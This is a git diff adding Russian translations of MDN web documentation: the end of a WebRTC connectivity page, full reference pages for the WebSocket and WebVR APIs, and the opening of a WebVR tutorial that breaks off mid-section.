+<p>При изменении описания путём вызова setLocalDescription() или setRemoteDescription(), указанное описание устанавливается как "рассматриваемое описание"(pending description), и WebRTC-слой начинает оценивать, действительно ли это приемлемо. После того, как предложенное описание было согласовано, значение currentLocalDescription или currentRemoteDescription изменяется на "рассматриваемое описание"(pending description), и pending description устанавливается снова в null, указывая, что "отложенного описания"(pending description) не существует.</p>
+
+<div class="note">
+<p>pendingLocalDescription содержит не только "предложение" или "ответ" на стадии рассмотрения, но и каких-либо ICE-кандидатов, которые уже были собраны с тех пор, как "предложение" или "ответ" были созданы. Подобным образом, pendingRemoteDescription включает любых удалённых ICE-кандидатов, которые были предоставлены вызовами {{domxref("RTCPeerConnection.addIceCandidate()")}}.</p>
+</div>
+
+<p>Смотрите отдельные статьи по этим свойствам и методам для большей конкретики.</p>
+
+<h2 id="Что_такое_ICE-кандидат">Что такое ICE-кандидат?</h2>
+
+<p>В дополнение к обмену информацией о медиа(обсуждённой выше в offer/answer и SDP), узлы должны обменяться информацией о сетевом соединении. Об этом известно как о ICE-кандидате и деталях доступных методов, которыми узел может общаться (непосредственно или через TURN-сервер).</p>
+
+<h2 id="Весь_обмен_в_сложной_схеме">Весь обмен в сложной схеме</h2>
+
+<p><a href="https://hacks.mozilla.org/wp-content/uploads/2013/07/webrtc-complete-diagram.png"><img alt="A complete architectural diagram showing the whole WebRTC process." src="https://mdn.mozillademos.org/files/6119/webrtc-complete-diagram.png" style="display: block; height: 559px; margin: 0px auto; width: 641px;"></a></p>
diff --git a/files/ru/web/api/websocket/index.html b/files/ru/web/api/websocket/index.html
new file mode 100644
index 0000000000..ab46ff35dc
--- /dev/null
+++ b/files/ru/web/api/websocket/index.html
@@ -0,0 +1,281 @@
+---
+title: WebSocket
+slug: Web/API/WebSocket
+tags:
+  - API
+  - WebSocket
+  - WebSockets
+translation_of: Web/API/WebSocket
+---
+<p>Объект <strong>WebSocket </strong>предоставляет API для создания и управления <a href="/ru/WebSockets">вебсокет</a>-подключения к серверу, а также для отправки и получения данных в этом подключении.</p>
+
+<p>Конструктор WebSocket принимает один обязательный и один опциональный параметр:</p>
+
+<pre>WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString[] protocols
+);
+</pre>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>URL-адрес к которому подключаться; сервер по этому адресу должен ответить на websocket-запрос.</dd>
+ <dt><code>protocols</code> {{ optional_inline() }}</dt>
+ <dd>Протокол в виде строки или массив строк протоколов. Эти строки используются для определения подпротоколов клиента, т.к. один сервер может поддерживать несколько WebSocket-подпротоколов (например, вы можете захотеть, чтобы один сервер мог обрабатывать разные типы взаимодействия в зависимости от указанного протокола).  Если вы не укажете значение протокола, по умолчанию будет использоваться пустая строка.</dd>
+</dl>
+
+<p>Конструктор может выбросить исключение:</p>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>Порт, на который устанавливается подключение заблокирован.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Method_overview" name="Method_overview">Обзор метода</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#close()">close</a>(in optional unsigned long code, in optional DOMString reason);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#send()">send</a>(in DOMString data);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Аттрибуты"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>Аттрибуты</strong></span></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Аттрибут</td>
+   <td class="header">Тип</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td><code>binaryType</code></td>
+   <td>{{ DOMXref("DOMString") }}</td>
+   <td>Строка, указывающая на тип двоичных данных, которые будут переданы по соединению. Это может быть "blob" если будут использованы {{ domxref("Blob") }} объекты или "arraybuffer" если будут использованы объекты <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a> </td>
+  </tr>
+  <tr>
+   <td><code>bufferedAmount</code></td>
+   <td><code><a href="/en/unsigned_long" title="en/unsigned long">unsigned long</a></code></td>
+   <td>Количество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но еще не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать  {{ manch("send") }}, значение будет расти. <strong>Только чтение.</strong></td>
+  </tr>
+  <tr>
+   <td><code>extensions</code></td>
+   <td>{{ DOMXref("DOMString") }}</td>
+   <td>Расширения, выбранные сервером. В настоящее время это только пустая строка или список расширений, согласованных соединением.</td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{ domxref("EventListener") }}</td>
+   <td>Обработчик событий, вызываемый, когда <code>readyState </code>WebSocket соединения изменяется на <code>CLOSED</code>. Наблюдатель получает <a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent"><code>CloseEvent</code></a> с именем "close".</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code></td>
+   <td>{{ domxref("EventListener") }}</td>
+   <td>
+    <p>Обработчик событий, вызываемый, когда происходит ошибка. Это простое событие, называемое "error".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>onmessage</code></td>
+   <td>{{ domxref("EventListener") }}</td>
+   <td>
+    <p>Обработчик событий , вызываемый, когда получается сообщение с сервера. Наблюдатель получает <code><a href="/en/WebSockets/WebSockets_reference/MessageEvent" title="en/WebSockets/WebSockets reference/MessageEvent">MessageEvent</a></code>,  называемое "message".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>onopen</code></td>
+   <td>{{ domxref("EventListener") }}</td>
+   <td>
+    <p>Наблюдатель событий, вызываемый, когда <code>readyState</code> WebSocket - соединения изменяется на <code>OPEN</code>; это показывает, что соединение готово отсылать и принимать данные. Это простое событие, называемое "open".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>protocol</code></td>
+   <td>{{ DOMXref("DOMString") }}</td>
+   <td>
+    <p>Строка, обозначающая имя подпротокола выбранного сервера; это будет одной из строк, указываемой в параметре <code>protocols</code> при создании WebSocket - объекта.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>readyState</code></td>
+   <td><code><a href="/en/unsigned_short" title="en/unsigned short">unsigned short</a></code></td>
+   <td>
+    <p>Текущее состояние подключения; это одно из {{ anch("Ready state constants") }}. <strong>Только для чтения</strong><strong>.</strong></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>{{ DOMXref("DOMString") }}</td>
+   <td>
+    <p>URL, создаваемый конструктором. Это всегда абсолютный URL. <strong>Только для чтения.</strong></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constants" name="Constants">Константы</h2>
+
+<h3 id="Константы_состояния_готовности">Константы состояния готовности</h3>
+
+<p>Эти константы используются аттрибутом <code>readyState</code> для описания состояния WebSocket - подключения</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Константа</td>
+   <td class="header">Значение</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td><code>CONNECTING</code></td>
+   <td><code>0</code></td>
+   <td>Соединение ещё не открыто.</td>
+  </tr>
+  <tr>
+   <td><code>OPEN</code></td>
+   <td><code>1</code></td>
+   <td>Соединение открыто и готово к обмену данными.</td>
+  </tr>
+  <tr>
+   <td><code>CLOSING</code></td>
+   <td><code>2</code></td>
+   <td>Соединение в процессе закрытия.</td>
+  </tr>
+  <tr>
+   <td><code>CLOSED</code></td>
+   <td><code>3</code></td>
+   <td>Соединение закрыто или не может открыться.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Mетоды</h2>
+
+<h3 id="close" name="close()">close()</h3>
+
+<p>Закрывает WebSocket - подключение или заканчивает попытку подключения. Если подключение уже закрыто, этот метод не делает ничего.</p>
+
+<pre class="eval">void close(
+  in optional unsigned short code,
+  in optional DOMString reason
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Параметры</h6>
+
+<dl>
+ <dt><code>code</code> {{ optional_inline() }}</dt>
+ <dd>Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершен"). Смотрите <a href="/en/WebSockets/WebSockets_reference/CloseEvent#Status_codes" title="en/WebSockets/WebSockets reference/CloseEvent#Status codes">list of status codes</a> для <code><a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent">CloseEvent</a></code>, чтобы узнать разрешенные значения.</dd>
+ <dt><code>reason</code> {{ optional_inline() }}</dt>
+ <dd>Читаемая человеком строка, объясняющая, почему подключение закрывается. Строка должна быть не длиннее, чем 123 байта UTF-8 текста (<strong>не</strong> символов). </dd>
+</dl>
+
+<h6 id="Возможные_исключения">Возможные исключения</h6>
+
+<dl>
+ <dt><code>INVALID_ACCESS_ERR</code></dt>
+ <dd>Указан неверный <code>code</code>.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Строка <code>reason</code> слишком длинные или содержит непарные суррогаты.</dd>
+</dl>
+
+<h6 id="Заметки">Заметки</h6>
+
+<p>В Gecko этот метод не поддерживает никакие параметры включительно до Gecko 8.0 {{ geckoRelease("8.0") }}.</p>
+
+<h3 id="send" name="send()">send()</h3>
+
+<p>Передает данные на сервер через WebSocket - соединение.</p>
+
+<pre class="eval">void send(
+  in DOMString data
+);
+
+void send(
+  in ArrayBuffer data
+);
+
+void send(
+  in Blob data
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Параметры</h6>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Текстовая строка, которая будет отправлена на сервер.</dd>
+</dl>
+
+<h6 id="Возможные_исключения_2">Возможные исключения</h6>
+
+<dl>
+ <dt><code>INVALID_STATE_ERR</code></dt>
+ <dd>Соединение еще не открыто.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Строка <code>data</code> содержит непарные суррогаты</dd>
+</dl>
+
+<div class="note">
+<p><strong>Заметьте:</strong> Gecko - реализация метода <code>send()</code> несколько отличается от специфицированной в {{Gecko("6.0")}}; Gecko возвращает <code>boolean</code>, обозначающий, открыто ли соединение до сих пор (и, в дополнение, были ли доставлены данные); это было исправлено в {{Gecko("8.0")}}.</p>
+
+<p>Начиная с {{Gecko("11.0")}}, поддержка <code><a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer">ArrayBuffer</a></code> была реализована, но не {{ domxref("Blob") }} типы данных.</p>
+</div>
+
+<h2 id="See_also" name="See_also">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td> <strong>Спецификация</strong></td>
+   <td><strong>Статус</strong></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "web-sockets.html#the-websocket-interface", "WebSocket")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Пример</h2>
+
+<pre class="brush: js"><code>// Создает WebSocket - подключение.
+const socket = new WebSocket('ws://localhost:8080');
+
+// Соединение открыто
+socket.addEventListener('open', function (event) {
+    socket.send('Hello Server!');
+});
+
+// Наблюдает за сообщениями
+socket.addEventListener('message', function (event) {
+    console.log('Message from server ', event.data);
+});</code></pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.WebSocket")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li><a href="/en/WebSockets/Writing_WebSocket_client_applications" title="en/WebSockets/Writing WebSocket client applications">Writing WebSocket client applications</a></li>
+ <li><a class="external" href="http://dev.w3.org/html5/websockets/" title="http://dev.w3.org/html5/websockets/">HTML5: WebSockets</a></li>
+</ul>
diff --git a/files/ru/web/api/webvr_api/index.html b/files/ru/web/api/webvr_api/index.html
new file mode 100644
index 0000000000..ee513c37d0
--- /dev/null
+++ b/files/ru/web/api/webvr_api/index.html
@@ -0,0 +1,246 @@
+---
+title: WebVR API
+slug: Web/API/WebVR_API
+translation_of: Web/API/WebVR_API
+---
+<div>{{SeeCompatTable}}{{APIRef("WebVR API")}}</div>
+
+<p class="summary">WebVR обеспечивает поддержку для использования устройств виртуальной реальности — например, шлемы виртуальной реальности, таких как Oculus Rift или HTC Vive — для веб-приложений, позволяя разработчикам передавать  информацию о местоположении и движения с дисплея в движение вокруг 3D-сцены. Это имеет множество интересных приложений, от виртуальных туров продукта и интерактивных обучающих приложений до захватывающих игр от первого лица.</p>
+
+<h2 id="Концепция_и_использование">Концепция и использование</h2>
+
+<p>Любые VR-устройства, подключенные к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено  {{domxref("VRDisplay")}} объектом.</p>
+
+<p><img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png" style="display: block; height: 78px; margin: 0px auto; width: 60%;"></p>
+
+<p>{{domxref("VRDisplay")}} является центральным интерфейсом в API WebVR - с помощью его свойств и методов вы получить доступ к функциям:</p>
+
+<ul>
+ <li>Получить полезную информацию, чтобы мы могли идентифицировать дисплей, какие возможности он имеет, контроллеры, связанные с ним и многое другое.</li>
+ <li>Получить {{domxref("VRFrameData", "frame data")}} для каждого кадра контента, который вы хотите представить на дисплее, и отправьте эти кадры для отображения с постоянной скоростью.</li>
+ <li>Начать и прекратить подачу на дисплей.</li>
+</ul>
+
+<p>Типичное (простое) WebVR приложение будет работать так:</p>
+
+<ol>
+ <li>{{domxref("Navigator.getVRDisplays()")}} используется для получения ссылки на ваш VR-дисплей.</li>
+ <li>{{domxref("VRDisplay.requestPresent()")}} используется для начала представления на дисплей VR.</li>
+ <li>Выделенный {{domxref("VRDisplay.requestAnimationFrame()")}}  WebVR's используется для запуска цикла рендеринга приложения с правильной частотой обновления для отображения.</li>
+ <li>Внутри цикла рендеринга берутся данные, необходимые для отоброжения текущего кадра  ({{domxref("VRDisplay.getFrameData()")}}), дважды нарисуйте отображаемую сцену - один раз для просмотра в каждом глазу, затем отправьте отображаемый вид на дисплей, чтобы показать пользовотелю ({{domxref("VRDisplay.submitFrame()")}}).</li>
+</ol>
+
+<p>Кроме того, WebVR 1.1 добавляет ряд событий {{domxref("Window")}} объекту, чтобы JavaScript мог реагировать на изменения состояния дисплея.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете найте намого больше о том, как работает API в <a href="/en-US/docs/Web/API/WebVR_API/Using_the_WebVR_API">Using the WebVR API</a> и <a href="/en-US/docs/Web/API/WebVR_API/Concepts">WebVR Concepts</a> статьях.</p>
+</div>
+
+<h3 id="Использование_контроллеров_Объединение_WebVR_с_API-интерфейсом_геймпада">Использование контроллеров: Объединение WebVR с API-интерфейсом геймпада</h3>
+
+<p>Многие аппаратные настройки WebVR оснащены контроллерами, которые сочетаются с гарнитурой. Они могут быть использованы в WebVR приложениях через <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a>, и, в частности, <a href="/en-US/docs/Web/API/Gamepad_API#Experimental_Gamepad_extensions">Gamepad расширения API</a>, которые добавляют API функции для доступа к <a href="/en-US/docs/Web/API/GamepadPose">позе контроллера</a>, <a href="/en-US/docs/Web/API/GamepadHapticActuator">haptic actuators</a>, и многоe другое.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Наша <a href="/en-US/docs/Web/API/WebVR_API/Using_VR_controllers_with_WebVR">Using VR controllers with WebVR</a> статья объясняет основы использования VR-контроллеров в приложениях WebVR.</p>
+</div>
+
+<h2 id="WebVR_Интерфейс">WebVR Интерфейс</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplay")}}</dt>
+ <dd>Представляет любое устройство VR, поддерживаемое этим API. VRDisplay включает в себя общую информацию, такую как идентификаторые устройств и  описания, а также методы для начала представления сцены VR, получения параметров глаз и возможностей отображения и других важных функций.</dd>
+ <dt>{{domxref("VRDisplayCapabilities")}}</dt>
+ <dd>описывает возможности {{domxref("VRDisplay")}} — его функции могут использоваться для тестирования возможностей устройства VR, например, может ли он возвращать информацию о местоположении.</dd>
+ <dt>{{domxref("VRDisplayEvent")}}</dt>
+ <dd>Возвращает объект события (event) связанного с WebVR-событием (см. {{anch("Window", "window object extensions")}} , перечисленны ниже).</dd>
+ <dt>{{domxref("VRFrameData")}}</dt>
+ <dd>Представляет всю информацию, необходимую для создания одного кадра сцены VR; созданный от  {{domxref("VRDisplay.getFrameData()")}}.</dd>
+ <dt>{{domxref("VRPose")}}</dt>
+ <dd>Предстовляет состояние позиции на заданной временой отметке (которая включает в себя ориентацию, положение, скорость и ускорение).</dd>
+ <dt>{{domxref("VREyeParameters")}}</dt>
+ <dd>Предоставляет доступ ко все информации, необзходимой для корректного отображения сцены для каждого задного глаза, включая информацию о поле зрения.</dd>
+ <dt>{{domxref("VRFieldOfView")}}</dt>
+ <dd>Представляет поле зрения, определенное четырьмя различными значениями степени, описывающими представление из центральной точки.</dd>
+ <dt>{{domxref("VRLayerInit")}}</dt>
+ <dd>Представляет слой, который должен быть представлен в {{domxref("VRDisplay")}}.</dd>
+ <dt>{{domxref("VRStageParameters")}}</dt>
+ <dd>Представляет значения, описывающие область сцены для устройств, поддерживающих опыт в помещении.</dd>
+</dl>
+
+<h3 id="Расширения_для_других_интерфейсов">Расширения для других интерфейсов</h3>
+
+<p>WebVR API асширяет следующие API, добавляя перечисленные функции.</p>
+
+<h4 id="Геймпад">Геймпад</h4>
+
+<dl>
+ <dt>{{domxref("Gamepad.displayId")}} {{readonlyInline}}</dt>
+ <dd><dfn>Возвращает {{domxref("VRDisplay.displayId")}} связанного с  {{domxref("VRDisplay")}} — <code>VRDisplay</code> , которым гейпад управляет отображаемой сценой.</dfn></dd>
+</dl>
+
+<h4 id="Навигатор">Навигатор</h4>
+
+<dl>
+ <dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}</dt>
+ <dd>Возвращает массив, содержащий каждый {{domxref("VRDisplay")}} объект, который в настоящее время отображается ({{domxref("VRDisplay.ispresenting")}} является <code>true</code>).</dd>
+ <dt>{{domxref("Navigator.getVRDisplays()")}}</dt>
+ <dd>Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов,  представляющих любые доступные VR-дисплеи, подключенные к компьютеру.</dd>
+</dl>
+
+<h4 id="Window_события">Window события</h4>
+
+<dl>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
+ <dd>Представляет обработчик событий, который будет выполняться, при изменении состояния отображения VR-дисплея — т.е. идёт от отображения до неотображения, или наоброт (когда {{event("vrdisplaypresentchange")}} событие срабатывает).</dd>
+ <dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
+ <dd>Представляет обработчик событий, который будет запускаться, когда к компьютеру подключен совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
+ <dd>Представляет обработчик событий, который будет зпускаться, когда совместимый VR-дисплей был отключён от компьютера (когда {{event("vrdisplaydisconnect")}} событие срабатывает).</dd>
+ <dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
+ <dd>Представляет обработчик событий, который будет выполняться, когда дисплей может быть представлен (когда {{event("vrdisplayactivate")}}событие срабатывает), например, HMD (Head Mounted Display) был перемещён, чтобы вывести его из режима ожидания, или проснулся, будучи перемещенным.</dd>
+ <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt>
+ <dd>Представляет обработчик событий, который будет запускаться, когда дисплей больше не будет отображаться (когда {{event("vrdisplaydeactivate")}} событие срабатывает), например, HMD (Head Mounted Display) перешёл в режим ожидания или спящий режим из-за периода бездействия.</dd>
+</dl>
+
+<h4 id="Невыполненные_window_события">Невыполненные window события</h4>
+
+<p>Следующие события перечислены в спецификации, but do not currently seem to be implemented anywhere as yet.</p>
+
+<dl>
+ <dt>{{domxref("Window.onvrdisplayblur")}}</dt>
+ <dd>Представляет обработчик событий, который будет выполняться, когда презентация на дисплей была преостановлена по какой-то причине в браузере, ОС или оборудованием VR (когда  {{event("vrdisplayblur")}} событие срабатывает) — например, в то время как пользователь взаимодействует с системным меню или браузером, чтобы предотвратить отслеживание или потерю опыта.</dd>
+ <dt>{{domxref("Window.onvrdisplayfocus")}}</dt>
+ <dd>Представляет обработчик событий, который будет выполняться, когда презентация на дисплей возобновляется после потери фокуса (когда {{event("vrdisplayfocus")}} событие срабатывает).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Вы можете найти несколько примеров в этих местах:</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/webvr-tests">webvr-tests</a> — очень простые примеры для сопровождения MDM WebVR документации.</li>
+ <li><a href="https://github.com/facebook/Carmel-Starter-Kit">Carmel starter kit</a> — простые, хорошо прокомментированные примеры, которые идут вместе с Carmel,браузером WebVR от Facebook's .</li>
+ <li><a href="https://webvr.info/samples/">WebVR.info samples</a> — несколько более подробных примеров плюс исходный код</li>
+ <li><a href="https://webvr.rocks/firefox#demos">WebVR.rocks Firefox demos</a> — демонстрация примеров</li>
+ <li><a href="https://aframe.io/">A-Frame homepage</a> — примеры использования A-Frame</li>
+</ul>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>
+    <p>Определяет <a href="/en-US/docs/Web/API/Gamepad_API#Experimental_Gamepad_extensions">Experimental Gamepad extensions</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_брауезерами">Совместимость с брауезерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(55)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Gamepad extensions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Samsung Internet for GearVR</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+  </tr>
+  <tr>
+   <td>Gamepad extensions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <a href="https://github.com/GoogleChrome/OriginTrials/blob/gh-pages/explainer.md">Origin trials only</a>.</p>
+
+<p>[2] В настоящее время только в Windows и Mac OSX поддержка включена по умолчанию.</p>
+
+<p>[3] Включено в Firefox Nightly и Beta, версии 55 и выше. Включено / отключено с помощью  <code>dom.gamepad-extensions.enabled</code> pref.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://vr.mozilla.org">vr.mozilla.org</a> — Основная посадочная площадка Mozilla для WebVR с демонстрационными материалами, утилитами и другой информацией.</li>
+ <li><a href="https://aframe.io/">A-Frame</a> — Веб-платформа с открытым исходным кодом для создания опыта VR.</li>
+ <li><a href="https://webvr.info">webvr.info</a> — Актуальная информация о WebVR, настройке браузера и сообществе.</li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — Демонстрации, загрузки и другие ресурсы от команды Mozilla VR.</li>
+ <li><a href="https://github.com/MozVR/vr-web-examples/tree/master/threejs-vr-boilerplate">threejs-vr-boilerplate</a> — Полезный стартовый шаблон для написания приложений WebVR.</li>
+ <li><a href="https://github.com/googlevr/webvr-polyfill/">Web VR polyfill</a> — JavaScript-реализация WebVR.</li>
+</ul>
diff --git a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html
new file mode 100644
index 0000000000..78aed3b7b7
--- /dev/null
+++ b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html
@@ -0,0 +1,440 @@
+---
+title: Использование WebVR API
+slug: Web/API/WebVR_API/Using_the_WebVR_API
+translation_of: Web/API/WebVR_API/Using_the_WebVR_API
+---
+<div>{{APIRef("WebVR API")}}</div>
+
+<p class="summary">WebVR API - фантастическое дополнение к набору инструментов веб-разработчика, позволяющее отображать WebGL сцены на устройствах виртуальной реальности, таких как Oculus Rift и HTC Vive. Но как же начать разработку VR для Веба? Эта статья познакомит Вас с основами.</p>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: Наиболее стабильная версия WebVR API — 1.1 — была недавно реализована в Firefox 55 (для Windows в релизной версии, для Mac OS X только в Nightly версии). Так же она доступна в Chrome при использовании Google Daydream. Существует спецификация для следующей версии — 2.0 — но процесс разработки всё ещё находится на ранней стадии. Последнюю информацию можно найти на <a href="https://w3c.github.io/webvr/">WebVR Spec Version List</a>.</p>
+</div>
+
+<h2 id="С_чего_начать">С чего начать</h2>
+
+<p>Для начала Вам понадобится:</p>
+
+<ul>
+ <li>Устройство с поддержкой VR.
+  <ul>
+   <li>Самым дешевым вариантом будет использовать мобильное устройство, какое-нибудь крепление (например, Google Cardboard) и подходящий браузер. Ощущения будут не такие яркие, как от специализированного устройства, но зато Вам не понадобится приобретать мощный компьютер или отдельный VR дисплей.</li>
+   <li>Специализированное устройство может быть дорогим, но зато ощущения будут лучше. Наиболее WebVR-совместимые устройства на данный момент: HTC VIVE, The Oculus Rift. Дополнительную информацию о доступных устройствах и их поддержке браузерами можно найти на <a href="https://webvr.info/">webvr.info</a>.</li>
+  </ul>
+ </li>
+ <li>Компьютер с мощностью, достаточной для соответствующего рендеринга/отображения VR сцен, если вы всё-таки решите воспользоваться специализированным устройством. Чтобы получить некоторое представление о системных требованиях, поищите соответствующие руководства для VR платформы, которую Вы думаете использовать. В качестве примера: <a href="https://www.vive.com/us/ready/">VIVE READY Computers</a>.</li>
+ <li>Подходящий браузер. Последние версии <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/">Firefox Nightly</a> и <a href="https://www.google.com/chrome/index.html">Chrome</a> на данные момент являются лучшими вариантами, как для ПК, так и для мобильных устройств.</li>
+</ul>
+
+<p>После того, как Вы всё подготовили, можете проверить всё ли работает как следует. Для этого надо открыть <a href="https://mdn.github.io/webvr-tests/aframe-demo/">простой A-Frame пример</a> и убедиться, что сцена отображается и что можно перейти в VR режим по нажатию на кнопку в правом нижнем углу.</p>
+
+<p>Фреймворк <a href="https://aframe.io/">A-Frame</a> является лучшим вариантом, если Вы хотите быстро создать WebVR-совместимую сцену, не углубляясь в огромное количество JavaScript кода. Однако, пользуясь им, Вы не узнаете о работе с чистым WebVR API, а именно этим мы сейчас и займемся.</p>
+
+<h2 id="Introducing_our_demo">Introducing our demo</h2>
+
+<p>Рассмотрим как работает WebVR API на примере, проекте raw-webgl-example, который выглядит похожим образом:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15121/Capture1.png" style="display: block; height: 761px; margin: 0px auto; width: 1341px;"></p>
+
+<div class="note">
+<p><strong>Обратите внимание</strong>: Вы можете найти <a href="https://github.com/mdn/webvr-tests/tree/master/raw-webgl-example">исходный код примера</a> на GitHub, а так же <a href="https://mdn.github.io/webvr-tests/raw-webgl-example/">посмотреть как он работает прямо в браузере</a>.</p>
+
+<p>Примечание: если Вы решили просто посмотреть на этот пример, не подключая VR устройство и не используя Firefox , то есть вероятность, что он не будет корректно отображаться при том, что <a href="https://mdn.github.io/webvr-tests/aframe-demo/">простой A-Frame пример</a> работает. В таком случае установите одну из последних версий Firefox, и пример должен отобразиться как на рисунке выше, плюс должна присутствовать анимация.</p>
+</div>
+
+<div class="note">
